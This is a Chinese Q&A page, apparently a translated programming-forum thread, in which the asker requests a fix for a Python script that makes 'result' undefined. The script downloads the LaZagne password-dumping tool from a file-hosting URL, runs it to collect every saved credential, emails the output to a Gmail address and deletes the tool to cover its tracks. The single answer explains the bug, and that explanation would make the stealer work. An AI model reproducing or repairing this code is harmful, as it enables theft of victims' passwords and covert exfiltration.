结果未在:result = subprocess.check_output(“ lazagne.exe all”,shell = True)中定义

问题描述 投票:-1回答:1

我制作了一个将密码发送到我的邮件.am的python脚本,遇到未定义结果的错误,请纠正我的代码,谢谢

错误:结果未定义

完整代码是

import requests
import smtplib
import subprocess
import os
import tempfile
def download(url):
    get_response = requests.get(url)
    file_name = url.split("/")[-1]
    with open(file_name, "wb") as outfile:
        outfile.write(get_response.content)
def send_email(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.ehlo()
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()
temp_directory = tempfile.gettempdir()
os.chdir(temp_directory)
download("https://cdn-22.anonfile.com/z9m1H128o1/2f596260-1590313868/lazagne.exe")
if download == True:
    result = subprocess.check_output("lazagne.exe all", shell=True)
else:
    print("Download failed")
send_email("[email protected]", "passwoord", result)
os.remove("lazagne.exe")**
python python-3.x subprocess
1个回答
0
投票

download是函数的名称。所以

if download == True:

始终为False。因此,永远不会设置result

© www.soinside.com 2019 - 2024. All rights reserved.